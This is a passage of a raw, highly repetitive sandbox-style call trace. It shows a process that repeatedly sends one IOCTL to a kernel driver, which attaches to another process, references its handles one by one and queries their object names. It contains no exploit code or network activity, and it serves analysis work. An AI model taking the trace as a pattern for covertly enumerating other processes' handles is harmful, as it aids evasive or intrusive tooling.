nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.062] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.062] PsAcquireProcessExitSynchronization () returned 0x0 [0068.062] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.062] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a008972bc0, HandleInformation=0x0) returned 0x0 [0068.062] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.062] PsReleaseProcessExitSynchronization () returned 0x2 [0068.062] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.062] ObQueryNameString (in: Object=0xfffff8a008972bc0, ObjectNameInfo=0xfffffa8003906044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003906044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.062] ObfDereferenceObject (Object=0xfffff8a008972bc0) returned 0x1 [0068.062] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.062] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.062] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.062] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.062] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.062] PsAcquireProcessExitSynchronization () returned 0x0 [0068.062] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.062] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001bf7530, HandleInformation=0x0) returned 0x0 [0068.062] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.062] PsReleaseProcessExitSynchronization () returned 0x2 [0068.063] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.063] ObQueryNameString (in: Object=0xfffff8a001bf7530, ObjectNameInfo=0xfffffa800394c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800394c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.063] ObfDereferenceObject (Object=0xfffff8a001bf7530) returned 0x1 [0068.063] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.063] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.063] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.063] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.063] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.063] PsAcquireProcessExitSynchronization () returned 0x0 [0068.063] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.063] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001055b00, HandleInformation=0x0) returned 0x0 [0068.063] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.063] PsReleaseProcessExitSynchronization () returned 0x2 [0068.063] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.063] ObQueryNameString (in: Object=0xfffff8a001055b00, ObjectNameInfo=0xfffffa800394b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800394b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.063] ObfDereferenceObject (Object=0xfffff8a001055b00) returned 0x1 [0068.063] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.063] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.063] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.063] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.063] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.063] PsAcquireProcessExitSynchronization () returned 0x0 [0068.064] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.064] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001c067e0, HandleInformation=0x0) returned 0x0 [0068.064] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.064] PsReleaseProcessExitSynchronization () returned 0x2 [0068.064] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.064] ObQueryNameString (in: Object=0xfffff8a001c067e0, ObjectNameInfo=0xfffffa800394a044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800394a044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.064] ObfDereferenceObject (Object=0xfffff8a001c067e0) returned 0x1 [0068.064] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.064] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.064] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.064] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.064] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.064] PsAcquireProcessExitSynchronization () returned 0x0 [0068.064] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.064] ObReferenceObjectByHandle (in: Handle=0x1bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00175baa0, HandleInformation=0x0) returned 0x0 [0068.064] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.064] PsReleaseProcessExitSynchronization () returned 0x2 [0068.064] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.064] ObQueryNameString (in: Object=0xfffff8a00175baa0, ObjectNameInfo=0xfffffa8003900044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003900044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.064] ObfDereferenceObject (Object=0xfffff8a00175baa0) returned 0x1 [0068.064] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.064] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.064] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.064] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.064] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.064] PsAcquireProcessExitSynchronization () returned 0x0 [0068.064] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.064] ObReferenceObjectByHandle (in: Handle=0x274, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a004a176c0, HandleInformation=0x0) returned 0x0 [0068.064] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.064] PsReleaseProcessExitSynchronization () returned 0x2 [0068.064] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.064] ObQueryNameString (in: Object=0xfffff8a004a176c0, ObjectNameInfo=0xfffffa8003923044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003923044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.064] ObfDereferenceObject (Object=0xfffff8a004a176c0) returned 0x1 [0068.065] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.065] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.065] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.065] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.065] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.065] PsAcquireProcessExitSynchronization () returned 0x0 [0068.065] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.065] ObReferenceObjectByHandle (in: Handle=0x278, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00896e170, HandleInformation=0x0) returned 0x0 [0068.065] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.065] PsReleaseProcessExitSynchronization () returned 0x2 [0068.065] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.065] ObQueryNameString (in: Object=0xfffff8a00896e170, ObjectNameInfo=0xfffffa80038fe044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fe044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.065] ObfDereferenceObject (Object=0xfffff8a00896e170) returned 0x1 [0068.065] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.065] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.065] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.065] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.065] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.065] PsAcquireProcessExitSynchronization () returned 0x0 [0068.065] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.065] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00152d660, HandleInformation=0x0) returned 0x0 [0068.065] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.065] PsReleaseProcessExitSynchronization () returned 0x2 [0068.065] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.065] ObQueryNameString (in: Object=0xfffff8a00152d660, ObjectNameInfo=0xfffffa8003956044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003956044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.065] ObfDereferenceObject (Object=0xfffff8a00152d660) returned 0x1 [0068.065] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.065] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.065] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.065] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.065] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.065] PsAcquireProcessExitSynchronization () returned 0x0 [0068.065] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.066] ObReferenceObjectByHandle (in: Handle=0x33c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001537680, HandleInformation=0x0) returned 0x0 [0068.066] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.066] PsReleaseProcessExitSynchronization () returned 0x2 [0068.066] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.066] ObQueryNameString (in: Object=0xfffff8a001537680, ObjectNameInfo=0xfffffa8003964044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003964044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.066] ObfDereferenceObject (Object=0xfffff8a001537680) returned 0x1 [0068.066] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.066] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.066] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.066] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.066] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.066] PsAcquireProcessExitSynchronization () returned 0x0 [0068.066] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.066] ObReferenceObjectByHandle (in: Handle=0x388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0016495d0, HandleInformation=0x0) returned 0x0 [0068.066] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.066] PsReleaseProcessExitSynchronization () returned 0x2 [0068.066] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.066] ObQueryNameString (in: Object=0xfffff8a0016495d0, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.066] ObfDereferenceObject (Object=0xfffff8a0016495d0) returned 0x1 [0068.066] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.066] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.066] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.066] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.066] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.066] PsAcquireProcessExitSynchronization () returned 0x0 [0068.066] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.066] ObReferenceObjectByHandle (in: Handle=0x3a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00174f060, HandleInformation=0x0) returned 0x0 [0068.066] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.066] PsReleaseProcessExitSynchronization () returned 0x2 [0068.066] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.066] ObQueryNameString (in: Object=0xfffff8a00174f060, ObjectNameInfo=0xfffffa8003966044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003966044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.066] ObfDereferenceObject (Object=0xfffff8a00174f060) returned 0x1 [0068.066] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.067] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.067] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.067] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.067] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.067] PsAcquireProcessExitSynchronization () returned 0x0 [0068.067] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.067] ObReferenceObjectByHandle (in: Handle=0x3c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a000009940, HandleInformation=0x0) returned 0x0 [0068.067] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.067] PsReleaseProcessExitSynchronization () returned 0x2 [0068.067] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.067] ObQueryNameString (in: Object=0xfffff8a000009940, ObjectNameInfo=0xfffffa8003967044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003967044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.067] ObfDereferenceObject (Object=0xfffff8a000009940) returned 0x1 [0068.067] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.067] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.067] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.067] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.067] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.067] PsAcquireProcessExitSynchronization () returned 0x0 [0068.067] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.067] ObReferenceObjectByHandle (in: Handle=0x43c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0016bef10, HandleInformation=0x0) returned 0x0 [0068.067] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.067] PsReleaseProcessExitSynchronization () returned 0x2 [0068.067] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.067] ObQueryNameString (in: Object=0xfffff8a0016bef10, ObjectNameInfo=0xfffffa8003968044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003968044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.067] ObfDereferenceObject (Object=0xfffff8a0016bef10) returned 0x1 [0068.067] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.067] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.067] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.067] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.067] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.067] PsAcquireProcessExitSynchronization () returned 0x0 [0068.068] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.068] ObReferenceObjectByHandle (in: Handle=0x44c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0017fee90, HandleInformation=0x0) returned 0x0 [0068.068] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.068] PsReleaseProcessExitSynchronization () returned 0x2 [0068.068] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.068] ObQueryNameString (in: Object=0xfffff8a0017fee90, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.068] ObfDereferenceObject (Object=0xfffff8a0017fee90) returned 0x1 [0068.068] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.068] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.068] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.068] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.068] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.068] PsAcquireProcessExitSynchronization () returned 0x0 [0068.068] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.068] ObReferenceObjectByHandle (in: Handle=0x48c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001940330, HandleInformation=0x0) returned 0x0 [0068.068] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.068] PsReleaseProcessExitSynchronization () returned 0x2 [0068.068] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.068] ObQueryNameString (in: Object=0xfffff8a001940330, ObjectNameInfo=0xfffffa800396a044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396a044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.068] ObfDereferenceObject (Object=0xfffff8a001940330) returned 0x1 [0068.068] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.068] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.068] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.068] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.068] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.068] PsAcquireProcessExitSynchronization () returned 0x0 [0068.068] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, 